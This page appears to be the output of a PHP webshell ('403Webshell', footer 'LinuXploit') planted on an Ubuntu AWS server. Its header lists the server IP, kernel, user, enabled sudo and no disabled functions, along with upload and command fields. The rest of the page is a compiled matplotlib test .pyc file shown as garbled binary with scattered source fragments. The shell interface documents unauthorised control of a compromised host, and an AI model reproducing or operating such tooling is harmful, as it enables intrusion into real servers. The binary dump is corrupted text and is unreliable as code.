403Webshell
Server IP : 35.80.110.71  /  Your IP : 216.73.216.52
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ip-172-31-21-44 6.17.0-1019-aws #19~24.04.1-Ubuntu SMP Tue Jun 23 18:53:06 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/matplotlib/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/matplotlib/tests/__pycache__/test_text.cpython-312.pyc
�

G8�c.i��2�ddlmZddlZddlZddlZddlmZddlZddlZ	ddl
mZddlm
Z
ddlmZddlmZddlmZddlmZmZddlmZddlmZed	g�d
��Zedg�d��Zed
gd��d��Z edg�d��Z!d�Z"edg�d��Z#d�Z$ejJjMde'e(dfe'ddgdfe)ddfe)ddfe)ddfe)d d!ff�d"��Z*ed#g�d$��Z+ed%gd��d&��Z,ed'g�d(��Z-d)�Z.ejJjMd*d+d,gd-d.g�/�d0��Z/d1�Z0d2�Z1d3�Z2d4�Z3d5�Z4d6�Z5ejJjMd7gd8��ejJjMd9gd:��d;���Z6ed<g�d=��Z7ed>g�d?��Z8ed@g�dA��Z9dB�Z:edCg�dD��Z;dE�Z<edFg�dG��Z=ejJjMdHgdI��dJ��Z>dK�Z?dL�Z@dM�ZAedN��ZBedO��ZCejJjMdPgdQ��dR��ZDedSg�dT��ZEedUg�dV��ZFdW�ZGdX�ZHedYg�Z�d[��ZIed\gd��d]��ZJd^�ZKd_�ZLd`�ZMedYg�Z�da��ZNdb�ZOdc�ZPdd�ZQejJjMdedfdggg�dh��ZRdi�ZSedjgd��dk��ZTdl�ZUdm�ZVdn�ZWedogd��dp��ZXedqgd��dr��ZYeds��ZZy)t�)�datetimeN)�assert_almost_equal)�
MouseEvent)�FontProperties)�check_figures_equal�image_comparison)�needs_usetex)�Text�font_stylesc��	�
��	�
fd�}ddlm�	m�
tjddt
d��t
j�\}}|dd	d	d
��}|jdd
d|��}|j�dk(sJ�|j�d	k(sJ�|j�d	k(sJ�|j�d	k(sJ�|j�d	k(sJ�|dd	d	ddd
��}|jddd|��|ddd	ddd
��}|jddd|��|dd	d	ddd
��}|jddd|��|dd	d	ddd
��}|jd d!d|��|jg�|jg�y)"Nc�^���di|��}�|tj���}�|��S)N)�	directory)�fname�)�mpl�
get_data_path)�kw�prop�pathr�findfonts   ���</usr/lib/python3/dist-packages/matplotlib/tests/test_text.py�find_matplotlib_fontz.test_font_styles.<locals>.find_matplotlib_fonts0����#��#�����(9�(9�(;�<���D�)�)�r)rr�ignorez>findfont: Font family \[u?'Foo'\] not found. Falling back to .zmatplotlib.font_manager)�modulez
sans-serif�normal�)�family�style�variant�sizezNormal Font)皙�����?r"�
axes fraction)�xycoords�fontpropertieszDejaVu Sans�Foo�boldi�)rrr �weight�stretchr!z	Bold Font)r"皙�����?z
sans serif�italici�zBold Italic Font)r"�333333�?��z
Light Font)r"皙�����?�dzCondensed Font)r"��?)�matplotlib.font_managerrr�warnings�filterwarnings�UserWarning�plt�subplots�annotate�get_fontname�
get_fontstyle�get_fontvariant�
get_weight�get_stretch�
set_xticks�
set_yticks)r�fig�ax�normal_font�a�	bold_font�bold_italic_font�
light_font�condensed_fontrrs         @@r�test_font_stylesrGs����*�
A�����I��(�	*��l�l�n�G�C��&����
�	�K�
	����� �"�		�	$�A�

�>�>��}�,�,�,��?�?���(�(�(�����(�*�*�*��<�<�>�X�%�%�%��=�=�?�h�&�&�&�$������
�
�I��K�K��� � �	�"�,������
�
���K�K��� �'�	�)�&������
�
�J��K�K��� �!�	�#�*������
�
�N��K�K��� �%�	�'��M�M�"���M�M�"�r�	multilinec��tj�tjddd�}|jd�tjdddddd�	�tjddd
ddd�	�tjdddddd�	�tj
d
d�tjd
d�|jg�|jg�y)N�zmultiline
text alignmentr*r0zTpTpTp
$M$
TpTpTp��center�top)r!�ha�vazTpTpTp
$M^{M^{M^{M}}}$
TpTpTpg�������?zTpTpTp
$M_{q_{q_{q}}}$
TpTpTpr)	r5�figure�subplot�	set_title�text�xlim�ylimr=r>�r@s r�test_multilinerWms����J�J�L�	���Q��1�	�B��L�L�,�-��H�H��S�'�b�X�%�I��H�H��S�3�"�����H�H��S�3�"�����H�H�Q��N��H�H�Q����M�M�"���M�M�"�r�
multiline2�mpl20)rc	���dtjd<tj�\}}|jddg�|j	ddg�|jddd�	�gd
�}|jj���fd�}d}t|�D]*\}}|jd
|zdzd||d��}|||��,|jdddd��|jddd�	�t|�D]*\}}|jd
|zdzd||d��}|||��,|jdddd��|jddd�	�t|�D]*\}}|jd
|zdzd||d��}|||��,|jdddd��|jddd�	�t|�D]+\}}|jd
|zdzd||dd��}|||��-|jdddd��y)N��text.kerning_factorrgffffff�?�r0�C2r,)�color�	linewidth)�Linez
2 Lineg
 2 Lgz$\sum_i x $zhi $\sum_i x $
testztest
 $\sum_i x $z$\sum_i x $
 $\sum_i x $c���tjdddd|j��}|j|j	��j|jj
��j�|j|�y)N�rrrJF)�clip_on�	transform)	�mpatches�	Rectangle�	transAxes�
set_bounds�get_window_extent�transformed�inverted�bounds�	add_patch)r@�tt�r�renderers   �r�draw_boxz!test_multiline2.<locals>.draw_box�se������v�q�!�U�)+���
7��	���� � ��*�
�[����.�.�0�
1�
�V�	�	���Q�r�leftr*r"�bottom��horizontalalignment�verticalalignmentg333333�?zBottom align�r_g�������?rMz	Top aligng������?�baselinezBaseline alignrK)rvrw�rotationzBot align, rot20)
r5�rcParamsr6�set_xlim�set_ylim�axhline�canvas�get_renderer�	enumeraterS)	r?r@�stsrr�horal�nn�strorqs	        @r�test_multiline2r��s)���+,�C�L�L�&�'��l�l�n�G�C���K�K��C����K�K��A����J�J�s�$�#�J�.�A�C��z�z�&�&�(�H��
�E��C�.����B�
�W�W�S�2�X��^�S�"�%�'/��1����R����G�G�C��n�D�G�1��J�J�s�$�#�J�.��C�.����B�
�W�W�S�2�X��^�S�"�%�',��.����R����G�G�C��k��G�.��J�J�s�$�#�J�.��C�.����B�
�W�W�S�2�X��^�S�"�%�'1��3����R����G�G�C��&�d�G�3��J�J�s�$�#�J�.��C�.����B�
�W�W�S�2�X��^�S�"�%�'/�"��>����R����G�G�C��(��G�5rzantialiased.pngc��dtjd<tjd��}|j	ddddd�	�|j	dd
ddd�	�y)NTztext.antialiased)g@��?��figsizer0r��antialiasedrLru��?z
$\sqrt{x}$)rr{r5rPrS�r?s r�test_antialiasingr��sW��'+�C�L�L�#�$�

�*�*�\�
*�C��H�H�S�$�
�8�'�
�)��H�H�S�$�
�8�'�
�)rc���tjjdd��}t|d�5}tjj|�}ddd�j
d�dk(sJ�y#1swY� xYw)N�	Helvetica�afm)�fontext�rb�VAVAVAVAVAVA)g�@i�)r�font_managerr�open�_afm�AFM�string_width_height)�fn�fhr�s   r�test_afm_kerningr��sh��	�	�	�	"�	"�;��	"�	>�B�	
�b�$���2��h�h�l�l�2�����"�"�>�2�m�C�C�C���s� A-�-A6ztext_contains.pngc��tj�}tj�}td|jdddd�}tjddd�}tjddd�}tj||�\}}tjdddd	dd�
�}|jj�t|j|j�D]�\}}tj�jj||g�\|_|_|j#|�\}}	|rdnd}
|j$j'�}|j)||d
|
��|j$j+|���y)N�button_press_eventr0rJr�r��r.zhello worldrL)rN�fontsizerz�yellow�red�orx)r5rP�axesrr�np�linspace�meshgridrS�draw�zip�flat�gcarhre�x�y�contains�viewLim�frozen�plot�set)r?r@�mevent�xs�ys�txtr�r�r��_r_�vls            r�
test_containsr��s3��

�*�*�,�C�	����B�
�,�c�j�j�#�s�A�t�
L�F�	���T�4��	$�B�	���T�4��	$�B�
�[�[��R�
 �F�B��

�(�(��S�-�H�r�B�H�C��J�J�O�O���B�G�G�R�W�W�%����1� �W�W�Y�0�0�:�:�A�q�6�B����&�(��l�l�6�*���!�$��%���Z�Z�
�
�
 ��
����1�c���'�
�
�
���r��rc�$�tj�\}}|jdddddi��}|jj	�td|jg|jjd����}|j|�d	ifk(sJ�y)
N�hello)r.r.)�333333�?r��
arrowstylez->)�xy�xytext�
arrowpropsr�)r0r�F)	r5r6r7rr�r�	transDatarer�)r?r@�ann�events    r�test_annotation_containsr��s����l�l�n�G�C��
�+�+��H�X�<��:N��P�C��J�J�O�O����c�j�j�
M�+-�<�<�+A�+A�(�+K�
M�E��<�<���5�"�+�-�-�-rzerr, xycoords, matchzUnknown return typez!Unknown coordinate type: \[0, 0\]�fooz$'foo' is not a recognized coordinatezfoo barz('foo bar' is not a recognized coordinatez
offset fooz'xycoords cannot be an offset coordinatezaxes fooz'foo' is not a recognized unitc���tj�\}}tj||��5|j	ddd|��|j
j
�ddd�y#1swYyxYw)N��matchr�rc�r0r0)r�r$)r5r6�pytest�raisesr7rr�)�errr$r�r?r@s     r�test_annotate_errorsr��sX���l�l�n�G�C��	���s�%�	(��
���D�&��h��G��
�
�������s�0A(�(A1�titlesc���tj�tjddd�}|jdd��|jdd��|j	g�|jg�y)NrJz
left titlers��loczright title�right)r5rPrQrRr=r>rVs r�test_titlesr�	sW���J�J�L�	���Q��1�	�B��L�L��6�L�*��L�L��G�L�,��M�M�"���M�M�"�r�text_alignmentc���tj�tjddd�}d}dD]J}dD]C}|j|d|dz||t	ddd�	��
�|j|dd||�
�|dz
}�E�L|jddgddg�|jddgddg�|j
ddg�|jddg�|jg�|jg�y)NrJr")rr�)rMrtryrLr0z Tj�round�wheat)�boxstyle�	facecolor�alpha)rOrz�bboxg�?z$\sum_{i=0}^{j}$)rOrzrg�?)
r5rPrQrS�dictr�r|r}r=r>)r@r�rz�	alignments    r�test_alignmentr�s����J�J�L�	���Q��1�	�B��A����@�	�I��G�G��3�	�E�)�i�(��7�g�S�I�
�
K�
�G�G��3�+�	�H�
�
N�
��H�A�
	���G�G�Q��F�S�#�J���G�G�Q��F�S�#�J���K�K��A����K�K��C����M�M�"���M�M�"�rzaxes_titles.pngc���tj�tjddd�}|jdddd��|jdddd��|jd	d	dd��y)
NrJrLrKi�)r�r��
fontweightrs�i�r�)r5rPrQrRrVs r�test_axes_titlesr�,s[���J�J�L�	���Q��1�	�B��L�L��x�"��L�E��L�L��V�b�S�L�A��L�L��g��s�L�Crc��tj�\}}|jdddd��}|jj	�|j|jj�}d}|j||f�|jj	�|j|jj�}t|j|j�D]\}}||z|k(r�J�|jdddd��}|jj	�|j|jj�}d}||f|_
|jj	�|j|jj�}t|j|j�D]\}}||z|k(r�J�y)N�testrc�
figure pixels)r��
textcoords�)r5r6r7rr�rjrq�set_positionr��min�xyann)r?r@r��init_pos�	shift_val�post_posrB�bs        r�test_set_positionr�6s����l�l�n�G�C��
�+�+���v�/��C�C��J�J�O�O���$�$�S�Z�Z�%8�%8�9�H��I����i��+�,��J�J�O�O���$�$�S�Z�Z�%8�%8�9�H��H�L�L�(�,�,�/�"���1��9�}��!�!�!�"�
�+�+���v�/��C�C��J�J�O�O���$�$�S�Z�Z�%8�%8�9�H��I��I�&�C�I��J�J�O�O���$�$�S�Z�Z�%8�%8�9�H��H�L�L�(�,�,�/�"���1��9�}��!�!�!�"rrS��O�emptyz	non-empty)�idsc��tj�\}}|jdd|dd��}|jj	�|j
}|j
�}|j
|dz��}tjj|j�|j�dzd��|j
|k(sJ�y)	Nr0rsrt)rNrO�
)�dpi皙�����?��rtol)r5r6rSrr�r�rjr��testing�assert_allclose�
get_points)rSr?r@�t1r��bbox1�bbox2s       r�test_non_default_dpirVs����l�l�n�G�C��	����c�4�F�x��	8�B��J�J�O�O��

�'�'�C�� � �"�E�� � �S�2�X� �.�E��J�J���u�/�/�1�5�3C�3C�3E��3J�$(��*��7�7�c�>��>rc��td��j�dk(sJ�td��j�dk(sJ�y)N�
horizontal�rz��verticalg�V@�r
�get_rotationrrr�test_get_rotation_stringrfs:����&�3�3�5��;�;�;���$�1�1�3�s�:�:�:rc�P�dD]!}t|��j�|k(r�!J�y)N)g.@g33333�0@g�����YS@rr��is r�test_get_rotation_floatrks-��
�4���Q��,�,�.�!�3�3�3�4rc�b�dD]*}t|��j�t|�k(r�*J�y)N)�C��)r)r
r�floatr
s r�test_get_rotation_intrps1��
�;���Q��,�,�.�%��(�:�:�:�;rc�x�tjt�5td��ddd�y#1swYyxYw)N�
hozirontalr�r�r��
ValueErrorr
rrr�test_get_rotation_raisesrus+��	���z�	"�$��l�#�$�$�$�s�
0�9c�B�td��j�dk(sJ�y)Nrrrrrr�test_get_rotation_nonerzs�����+�+�-��4�4�4rc�|�tgd�gd��D])\}}tt|��j�|��+y)N)g�v@g�w@g�����	�@)rg1@gfffff&f@r)r�rr
r)r�js  r�test_get_rotation_mod360r~s8���+�-=�>�@���1��D�!�,�9�9�;�Q�?�@rrN)rLr�rsrO)rLrMrtry�center_baselinec��tj�\}}td||��}|jdddi|��}|jdddi|��}|jj�t
|j|jj�j�|j|jj�j��y)Nr)rzrOrN)r0r0r��
rotation_mode�anchor�default)
r5r6r�rSrr�rrjrqr�)rNrOr?r@r�t0r�s       r�%test_null_rotation_with_rotation_moder#�s����l�l�n�G�C��	
�q�R�B�	'�B�	����	>�x�	>�2�	>�B�	����	?�y�	?�B�	?�B��J�J�O�O����,�,�S�Z�Z�-@�-@�A�L�L�N��,�,�S�Z�Z�-@�-@�A�L�L�N�Pr�
text_bboxclipc��tjddddd��tjdddd�	�}|jd
di�y)Ng�������?r*zIs bbox clipped?rpT)�backgroundcolorrdr0zIs fancy bbox clipped?�rdr�zround, pad=0.1)r5rS�set_bbox)�ts r�test_bbox_clippingr*�s>���H�H�S�#�)�3��M�����c�3�T�B�A��J�J�
�,�-�.rz!annotation_negative_ax_coords.pngc	�|�tj�\}}|jdddgdddgdd��|jdddgdddgddd	�
�|jddd
gddd
gdd��|jdddgdddgddd	�
�|jdddgdddgdd��|jdddgdddgddd	�
�y)N�+ ptsr�rKzaxes points� �r�r�r�r$r��- ptsi��rM�r�r�r�r$r�rO�+ fracr�r�r#�- frac皙�������+ pixels��zaxes pixels�- pixelsi���r5r6r7�r?r@s  r�"test_annotation_negative_ax_coordsr:�s���l�l�n�G�C���K�K���B�x�M���8�m�b��B��K�K���C�y�]���9�}�r�����K�K���d�|���$�<�/�B��H��K�K���e�}���%�=�?�R����
�K�K�
��R�y�]���9�}�r��C��K�K�
��S�z�m���:�
����rz"annotation_negative_fig_coords.pngc	�|�tj�\}}|jdddgdddgdd��|jddd	gddd	gddd
��|jdd
dgdd
dgdd��|jdddgdddgddd
��|jdddgdddgdd��|jdddgdddgddd
��y)Nr,r��xz
figure pointsr-r.r/����rMr0r1r�g�������?zfigure fractionr2r3r0r4�2r�r7i���r/r8r9s  r�#test_annotation_negative_fig_coordsr@�s���l�l�n�G�C���K�K���C�y�_���9����E��K�K���S�z�o���:��"�����K�K���d�|�0A��$�<�*;�b��J��K�K���s�|�0A��3�<�*;�b����
�K�K�
��B�x�O���8�o���D��K�K�
��S�z�o���:��"���rc�,�tjdd�\}\}}tj�|jrJ�|jrJ�|jrJ�|j	ddd�}|jsJ�|jsJ�|jsJ�|jdddg��}|jsJ�|jsJ�|jsJ�tj�|jrJ�|jrJ�|jrJ�y)NrJr]r0�aardvark�r�)r5r6�draw_all�stalerSr7)r?�ax1�ax2�txt1�ann1s     r�test_text_stalerJ�s����l�l�1�a�(�O�C��#�s��L�L�N��y�y��=��y�y��=��y�y��=��8�8�B��J�'�D��9�9��9��:�:��:��9�9��9��<�<�
��B�x�<�0�D��9�9��9��:�:��:��9�9��9��L�L�N��y�y��=��y�y��=��y�y��=�yrzagg_text_clip.pngc��tjjd�tjd�\}\}}tjjdd�D]-\}}|j
||dd��|j
||d��/y)NrJr]r�r�Tr')r��random�seedr5r6�randrS)r?rFrGr�r�s     r�test_agg_text_cliprO�sm���I�I�N�N�1���l�l�1�o�O�C��#�s��	�	���r�1�%����1�����A�u�d��+�����A�u��rc���dtjd<tjjd��}|j	�}dtjd<||j	�k(sJ�y)Nr�z	font.size�large�r!r/)rr{r�r�get_size_in_points)�fp�sz1s  r�test_text_size_bindingrV�s\�� "�C�L�L���	�	�	�	(�	(�g�	(�	6�B�
�
�
�
!�C� #�C�L�L����"�'�'�)�)�)�)rzfont_scaling.pdfc��dtjd<tjd��\}}|jjtj��|jjtj��|jdd�ttddd	��D]-\}}|jd
|dzdj|�
�|���/y)N�*�pdf.fonttype)g������@g������(@r�r=iX��+r]r"r�z{fs} pt font size)�fs)r�)
rr{r5r6�xaxis�set_major_locator�NullLocator�yaxisr}r��rangerS�format)r?r@rr\s    r�test_font_scalingrc�s���#%�C�L�L�� ��l�l�;�/�G�C���H�H���s���0�1��H�H���s���0�1��K�K��S���5��B��?�+�K���2�
����Q�r�T�.�5�5��5�<�r��J�Krzspacing1, spacing2))r.r])r]r.)r]r]c���d}tj�}|jj�}|j	dd||��}|j	dd||��}|jj�|j
|��}|j
|��}|j|jk(sJ�||k(r|j|jk(sJ�y|j|jk7sJ�y)Nzline1
line2r�r0��linespacing)rq)	r5rPrr�rSr�rj�width�height)	�spacing1�spacing2�text_stringr?rq�text1�text2�box1�box2s	         r�test_two_2line_textsrps��� �K�

�*�*�,�C��z�z�&�&�(�H��H�H�T�3���H�B�E��H�H�T�3���H�B�E��J�J�O�O���"�"�H�"�5�D��"�"�H�"�5�D��:�:����#�#�#��8���{�{�d�k�k�)�)�)��{�{�d�k�k�)�)�)rc��tjt�5tjdddd��ddd�y#1swYyxYw)Nr�r0r��abcre)r�r��	TypeErrorr5rSrrr�test_validate_linespacingrts5��	���y�	!�4�����b�%�U�3�4�4�4��	�=�Ac���tj�\}}|jdtjd�|jtj
dd�|jj�y)Nr�nan�inf)r5r6rSr�rwrxrr�r9s  r�test_nonfinite_posrysG���l�l�n�G�C���G�G�A�r�v�v�u���G�G�B�F�F�A�u���J�J�O�O�rc��dtjd<tj�}|jddd�}|j	tj�d��|j�j}|j	tj�d��tjj|j�j|d�	�y)
NrJztext.hinting_factorr0z	some text�svg�rb�pngr"r�)r5r{rPrS�savefig�io�BytesIOrj�	intervalxr�r�r�)r?r)�expecteds   r�test_hinting_factor_backendsr�%s���*+�C�L�L�&�'�

�*�*�,�C�����c�;�'�A��K�K��
�
��U�K�+��"�"�$�.�.�H��K�K��
�
��U�K�+��J�J���q�2�2�4�>�>��$'��)rc��tj�}dtjd<|jd�}dtjd<|jd�}|jj�|df|dffD]?\}}|jjD]!}|jj�|k(r�!J��Ay)NF�text.usetex�yT�z)
r5rPr{�add_subplotrr�r]�
majorTicks�label1�
get_usetex)r?rFrGr@�usetexr)s      r�test_usetex_is_copiedr�3s����*�*�,�C�"'�C�L�L���

�/�/�#�
�C�"&�C�L�L���

�/�/�#�
�C��J�J�O�O���U�|�c�4�[�1�3�
��F����$�$�	3�A��8�8�&�&�(�F�2�2�2�	3�3rc��tj�}|jdddd��|jj	�y)Nr0z	$\frac12$T�r�)r5rPrSrr�r�s r�test_single_artist_usetexr�Bs1��
�*�*�,�C��H�H�R��\�$�H�/��J�J�O�O�r�fmt)r}�pdfr{c���dtjd<tj�}|jdddd��|j	tj�|��y)NTr�r0�2_2_2Fr�r|)r5r{rPrSr~rr�)r�r?s  r�test_single_artist_usenotexr�LsG��#'�C�L�L���

�*�*�,�C��H�H�R��W�U�H�+��K�K��
�
��S�K�)rztext_as_path_opacity.svgc��tj�tj�j�tjdddd��tjdddd��tjddd	dd
��y)Nr��c�rrrr0rxr0rB�r�r�r��rrrrJ�r�r_)r5rPr��set_axis_offrSrrr�test_text_as_path_opacityr�XsU���J�J�L��G�G�I�����H�H�T�4��N�3��H�H�T�3��3�'��H�H�T�4��C�|�<rztext_as_text_opacity.svgc�.�dtjd<tj�tj�j�tjdddd��tjdddd�	�tjdd
ddd�
�y)N�nonezsvg.fonttyper�z50% using `color`r�rxr0z50% using `alpha`r�r�z"50% using `alpha` and 100% `color`r�r�)rr{r5rPr�r�rSrrr�test_text_as_text_opacityr�asi��#)�C�L�L�� ��J�J�L��G�G�I�����H�H�T�4�,�N�C��H�H�T�3�+�3�7��H�H�T�4�=�S��!rc�z�tjddgddg�ttjdgdd��y)N�A�BrJr]r0�Boo)r5r��reprrSrrr�test_text_reprr�ls/���H�H�c�3�Z�!�Q�� �����3�%��e�	$�%rc��tjdd�\}}|jdd��}|j|jj��}|j
�|j|jj��}tj|j�|j�d��rJ�y)NrJ�
annotationr�rCg���ư>r�)
r5r6r7rjrr��tight_layoutr��allcloser�)r?r@�an�extent1�extent2s     r�test_annotation_updater�rs����l�l�1�a� �G�C��	���\�j��	1�B��"�"�3�:�:�#:�#:�#<�=�G������"�"�3�:�:�#:�#:�#<�=�G��{�{�7�-�-�/��1C�1C�1E� $�&�&�&�&rr})�
extensionsc�|�|j�}|jtj�dd�|j	dtj�dfddd��|j�}|jtj�dd�|j	dtj�dfd�	�y)
NrJr�r�r0)�datar#rcz
offset points)r$r�r�)r$)r�r�r�nowr7��fig_test�fig_refr@s   r�test_annotation_unitsr�}s���	�	�	�	�B��G�G�H�L�L�N�A�s�#��K�K��h�l�l�n�c�*�5N��/��;�
�	�	�	�B��G�G�H�L�L�N�A�s�#��K�K��h�l�l�n�c�*�5N�K�Orzlarge_subscript_title.pngc�t�dtjd<dtjd<tjdddd��\}}|d	}|jd
�|jdd�
�|j	g�|d}|jd
d��|jdd�
�|j	g�y)Nr[r\zaxes.titleyrJr])�	g@T)r��constrained_layoutrz$\sum_{i} x_i$zNew wayrsr�g)\��(�?)r�zOld Way)r5r{r6rR�set_xticklabels)r?�axsr@s   r�test_large_subscript_titler��s���+,�C�L�L�&�'�"&�C�L�L����|�|�A�q�(�t�L�H�C��	�Q��B��L�L�"�#��L�L���L�'����r��	�Q��B��L�L�"�d�L�+��L�L���L�'����r�rc��tjd��}d}|jdd|d��}|jj	�|j�dk(sJ�y)	N�r[rZr�z?This is a very long text that should be wrapped multiple times.gffffff�?r0T��wrapz?This is a very long
text that should be
wrapped multiple
times.�r5rPrSrr��_get_wrapped_text)r?�srSs   r�	test_wrapr��sY��

�*�*�V�
$�C�I�A��8�8�C��a�d�8�+�D��J�J�O�O���!�!�#�)1�2�2�2rc��tjd��}|jdddd��}|jj	�|j�dk(sJ�y)Nr�r�g#@��AlonglineoftexttowrapTr�r��r?rSs  r�test_long_word_wrapr��sM��

�*�*�V�
$�C��8�8�C��3�$�8�?�D��J�J�O�O���!�!�#�'>�>�>�>rc��tjd��}|jdddd��}|jj	�|j�dk(sJ�y)Nr�r�rznon wrapped textTr�r�r�s  r�test_wrap_no_wrapr��sM��

�*�*�V�
$�C��8�8�A�q�,�4�8�8�D��J�J�O�O���!�!�#�'9�9�9�9rc�@�|j�}|jddg�|jddg�|jjdj
j
d�|j�}|jddg�|jddg�y)NrrJu€rB�wr�)r�r>�set_yticklabelsr`r�r��	set_colorr�s   r�test_buffer_sizer��s���

�	�	�	�B��M�M�1�a�&������s�|�$��H�H�����!�!�+�+�C�0�	�	�	�	�B��M�M�1�a�&������r�{�#rc���tj�tjddd��}tjddd��}|j	�dk(sJ�|j	�dk(sJ�y)z>Test that kwargs take precedence over fontproperties defaults.�valuezTimes New RomangD@)r%r!�counts)r!r%N)r5rP�xlabel�ylabel�get_size)rlrms  r�$test_fontproperties_kwarg_precedencer��s[���J�J�L��J�J�w�/@�t�L�E��J�J�x�d�;L�M�E��>�>��t�#�#�#��>�>��t�#�#�#rc���tj�}tj�j	d�}|jddd|d��}|j
�}t|d�y)Nr�rr�T)re�transform_rotates_text)r5r��mtransforms�Affine2D�
rotate_degrSrr)r@rerS�results    r�test_transform_rotates_textr��s\��	����B��$�$�&�1�1�"�5�I�
�7�7�1�a��9�*.��0�D�
�
�
�
 �F����#rc��ttd��d��}t|�}t�}|j|�|d|dk(sJ�|d|dk(sJ�y)Nr')r()r%r�r%r�)r�rr
�update)�inp�cacher)s   r�test_update_mutate_inputr��sa��
�n�F�;���C���I�E���A��H�H�S�M��� �E�*:�$;�;�;�;��v�;�%��-�'�'�'rrzzinvalid string�Zc��tjtd��5tddd|��ddd�y#1swYyxYw)Nz5rotation must be 'vertical', 'horizontal' or a numberr�rr�rrrs r�test_invalid_rotation_valuesr��s:��	����J�
M�-�	
�Q��5�8�,�-�-�-�s�5�>c��tjt�5tjdddd��ddd�y#1swYyxYw)Nr0r��foobar)r�)r�r�rr5�figtextrrr�test_invalid_colorr��s5��	���z�	"�/����B��E�X�.�/�/�/�ruztext_pdf_kerning.pdfc�^�tj�tjdddd��y)Nr"r0�ATATATATATATATATATAr�rR)r5rPr�rrr�test_pdf_kerningr��s���J�J�L��K�K��S�/�b�9rc��tj�}|jddd�|jj	�td�|D��sJ�|D�cgc]}|jj��c}ddgk(sJ�ycc}w)Nr0u০c3�PK�|]}t|jt���� y�w�N)�
isinstance�messager4)�.0�warns  r�	<genexpr>z*test_unsupported_script.<locals>.<genexpr>�s����I��z�$�,�,��4�I�s�$&)z>Glyph 2534 (\N{BENGALI DIGIT ZERO}) missing from current font.)z7Matplotlib currently does not support Bengali natively.)r5rPrSrr��allr��args)�recwarnr?r�s   r�test_unsupported_scriptr��sy��

�*�*�,�C��H�H�R��-�.��J�J�O�O���I��I�I�I�I�'.�/�t����	�	�/�	M�	F�	H�	H�I�	H��/s�Bc�N�tj�\}}|jdddd��|jj	�|jdddd��tjtd��5|jj	�ddd�y#1swYyxYw)Nr�$ \wrong{math} $F)�
parse_mathT�Unknown symbolr�)r5r6rSrr�r�r�rr9s  r�test_parse_mathr��s{���l�l�n�G�C���G�G�A�q�%�%�G�8��J�J�O�O���G�G�A�q�%�$�G�7�	���z�)9�	:���
�
�������s�7B�B$c���tj�\}}|jddd�tjt
d��5|jj�ddd�tjddi�5tj�\}}|jddd�|jj�ddd�y#1swY�nxYw#1swYyxYw)Nrr�r�r�ztext.parse_mathF)
r5r6rSr�r�rrr�r�
rc_contextr9s  r�test_parse_math_rcparamsrs����l�l�n�G�C���G�G�A�q�%�&�	���z�)9�	:���
�
�����

���*�E�2�	3���,�,�.���R�
����1�)�*��
�
������	�����s�C�AC�C�C#ztext_pdf_font42_kerning.pdfc��dtjd<tj�tjdddd��y)NrXrYr"r0�ATAVATAVATAVATAVATAr�rR�r5r{rPr�rrr�test_pdf_font42_kerningrs,��#%�C�L�L�� ��J�J�L��K�K��S�/�b�9rztext_pdf_chars_beyond_bmp.pdfc��dtjd<dtjd<tj�tjdddd�	�y)
NrXrY�stixsanszmathtext.fontsetr"r0u
Mass $m$ 𐌈r�rRrrrr�test_pdf_chars_beyond_bmprs;��#%�C�L�L�� �'1�C�L�L�#�$��J�J�L��K�K��S�/�b�9rc���tjjj�t	j
�}|jddd�|jdddd��|jdddd��|jj�|j�}i��fd�}||_	|jj�g��ddgk(sJ�t�d�t�d�cxk(rd	k(sJ�J�tjjj�}|j|jkDsJ�y)
Nr,r0zfoo
barTr�c�f��|^}}}}}�j|t��j|�yr�)�
setdefaultr��add)r��kwargsrqr�r�r�r�r�s       �r�callz test_metrics_cache.<locals>.call/s.��� $���!�Q��A�
�
�
�a����#�#�A�&rr��barrJ)rrS�!_get_text_metrics_with_cache_impl�cache_clearr5rPrr��
_get_renderer�draw_tex�len�
cache_info�hits�misses)r?rqr�infor�s    @r�test_metrics_cacher#s����H�H�.�.�:�:�<�

�*�*�,�C��H�H�R��Z� ��H�H�R��Z��H�-��H�H�R��Z��H�-��J�J�O�O��� � �"�H�	�B�'��H���J�J�O�O���R�5�U�E�N�"�"�"�
�r�%�y�>�S��E��^�0�q�0�0�0�0�0��8�8�5�5�@�@�B�D��9�9�t�{�{�"�"�"r)[rrr2�numpyr��
numpy.testingrr��
matplotlibr�matplotlib.backend_basesrr1r�matplotlib.patches�patchesrf�matplotlib.pyplot�pyplotr5�matplotlib.transforms�
transformsr��matplotlib.testing.decoratorsrr�matplotlib.testing._markersr	�matplotlib.textr
rGrWr�r�r�r�r��mark�parametrize�RuntimeError�printrr�r�r�r�r�rrrrrrrr#r*r:r@rJrOrVrcrprtryr�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�rrrrrrr�<module>r+s����	���-�
��/�2�%��+�O�4� ��=�/�"�U�#�U�p�;�-� ��!��.�<�.��0�06�1�06�f�$�%�&�)�'�)�D��&�'�(��)��<	.������/��5�/�0��A�q�6�?�@���>�?���F�G���H�I���=�>�
2������8�*������#�$�G�4��5��.�$�%�&�D�'�D�"�@������"�c���+�0F��G��H��;�
4�
;�
$�
5�@�
������:�;������� ?�@�P�@�<�P��?�#�$�/�%�/��6�7�8��9��6�7�8�9��:��6�.�&�'�(��)��*��%�&�'�K�(�K������-�/K�L�*�M�*�(4�
�)��3��3����������� 5�6�*�7�*��-�.�/�=�0�=��-�.�/�!�0�!�&�&����(�P�)�P��.�/�w�?��@��"2�?�:����(�
$�)�
$�$�$�(�������&6���%=�>�-�?�-�/�
�)�*�'�:�:�;�:�
I����0�1��A�:�B�:��2�3�7�C�:�D�:��#��#r

Youez - 2016 - github.com/yon3zu
LinuXploit